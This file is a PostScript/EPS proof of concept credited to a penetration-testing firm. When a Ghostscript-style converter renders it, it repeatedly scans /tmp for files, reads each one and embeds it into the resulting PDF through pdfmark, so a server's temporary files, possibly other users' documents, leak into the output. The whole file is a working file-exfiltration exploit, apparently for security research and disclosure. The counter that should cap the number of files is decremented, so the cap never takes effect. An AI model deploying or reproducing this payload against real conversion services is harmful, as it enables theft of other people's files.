long_running_embed_files_in_pdf.ps

%!PS-Adobe-3.0 EPSF-3.0
%%Pages: 1
%%BoundingBox:   0 0 1000 1000
%%LanguageLevel: 1
%%EndComments
%%BeginProlog
%%EndProlog

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%                                      %
%  RedTeam Pentesting GmbH             %
%  kontakt@redteam-pentesting.de       %
%  https://www.redteam-pentesting.de/  %
%                                      %
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

%%%%%%%%%%%%%%%%%%% Configurable Variables

% how often files should be checked
/totalRounds 1000 def

% How many milliseconds to sleep inbetween rounds
/sleepDuration 10 def

% How many files can be included at most
/maxFileCount 100 def

% The folder with wildcard which will be embedded
/targetFolder (/tmp/*) def

% Enables printing error information to the page
/printErrors false def

%%%%%%%%%%%%%%%%%%% Page Setup

printErrors {
    /xposinit 0 def

    % how many chars per line
    /charactercount 100 def

    % white page
    1 1 1 setrgbcolor clippath fill
    % black text
    0 0 0 setrgbcolor

    /pagewidth currentpagedevice /PageSize get 0 get def
    /pageheight currentpagedevice /PageSize get 1 get def

    % calculate the character width
    /characterWidth pagewidth xposinit sub charactercount 2 add div def

    /Courier findfont setfont

    /curWidth (-) stringwidth pop def

    /Courier findfont characterWidth curWidth div scalefont setfont

    /lineheight characterWidth curWidth div def

    % initial x and y positions
    /yposinit pageheight lineheight sub def

    /xpos xposinit def
    /ypos yposinit def
    xpos ypos moveto
} if

%%%%%%%%%%%%%%%%%%% Helper Functions

% Concatenate two strings
% https://stackoverflow.com/questions/12378904/postscript-concatenate-two-strings
% (a) (b) -> (ab)
/concatstrings { exch dup length
 2 index length add string
 dup dup 4 2 roll copy length
 4 -1 roll putinterval
} bind def

% Find findString in targetString and replace it with replaceWithString
% https://comp.lang.postscript.narkive.com/lb2y58U5/string-replace-in-postscript
% replaceWithString targetString findString findandreplaceall outString
/findandreplaceall {
    () 4 1 roll % string' is an empty string initially.
    {
        search { % string' replace post find pre
            3 index concatstrings 5 -1 roll % replace post find tail' string'
            exch concatstrings 4 1 roll % string' replace post find
        } {
            exch pop concatstrings
            exit
        } ifelse
    } loop
} bind def

% Move to new line and go to next page if current page is full
% lineheight newline -
/newline {
    /lineheight exch def

    % new page if we are at the bottom of the page
    ypos lineheight lt {
        showpage
        /xpos xposinit def
        /ypos yposinit def
        xpos ypos moveto
    } if

    % decrease y position
    ypos lineheight sub
    /ypos exch def

    % move cursor
    xpos ypos moveto
} def

% Embeds the file located at parameter 1 into the PDF
% https://ghostscript.com/blog/zugferd.html
% inputFile inputFileName EmbedFile -
/EmbedFile {
    /inputFileName exch def
    /inputFile exch def
    % As pdfmark does not support dynamically generated objname's, generate the code dynamically and replace the name with a dynamically generated one
    ({) inputFileName concatstrings (Stream}) concatstrings (
        [ /_objdef {InvoiceStream} /type /stream /OBJ pdfmark
        [ {InvoiceStream} << /Type /EmbeddedFile /Subtype (application/octet-stream) cvn >> /PUT pdfmark
        [ {InvoiceStream} inputFile /PUT pdfmark
        [ {InvoiceStream} /CLOSE pdfmark
        [ /Name inputFileName /FS <<
            /Type /FileSpec
            /F inputFileName
            /AFRelationship /Alternative
            /EF << /F {InvoiceStream} >>
        >> /EMBED pdfmark
    ) ({InvoiceStream}) findandreplaceall cvx exec
} def

% Busy waiting
% milliseconds Sleep -
/Sleep {
    % Milliseconds to sleep
    /sleepInterval exch def

    % Get our starting time
    usertime /starttime exch def
    {
        % Milliseconds since start
        usertime starttime sub

        % Exit if interval is exceeded
        sleepInterval ge { exit } if
    } loop
} def

% Prints the current errorname onto the page if error printing is enabled
% preErrorMessage printError -
/printError {
    /preErrorMessage exch def
    printErrors {
        % if an error occurs, the cause is printed onto the page
        /errormessage {
            $error /errorname get 50 string cvs
        } def
        preErrorMessage show
        lineheight newline
        errormessage show
        lineheight newline
    } if
} def

%%%%%%%%%%%%%%%%%%% Actual Code

% Create dictionary which will store the filenames
/fileDict maxFileCount dict def
/fileCount 0 def

totalRounds {
    targetFolder { %filenameforall
        /currentFileName exch def

        % Only include at most maxFileCount files
        fileCount maxFileCount eq {
            exit
        } if

        % check if we already have embedded this file
        fileDict currentFileName known not {
            /fileCount fileCount 1 sub def

            % Put the filename into our dictionary, so we remeber that we already read this file
            fileDict currentFileName () put

            % First try to read the file
            {
                /currentFile currentFileName (r) file def
            } stopped {
                % if an error occured, we can properly clear the stack
                pop pop pop
                (opening file ") currentFileName concatstrings (" failed : ) concatstrings printError
            }{
                % if no error occured while reading the file, embed it
                {
                    currentFile currentFileName EmbedFile
                } stopped {
                    (embedding file ") currentFileName concatstrings (" failed : ) concatstrings printError
                } {} ifelse
            } ifelse
        } if
    } 4096 string filenameforall
    sleepDuration Sleep
} repeat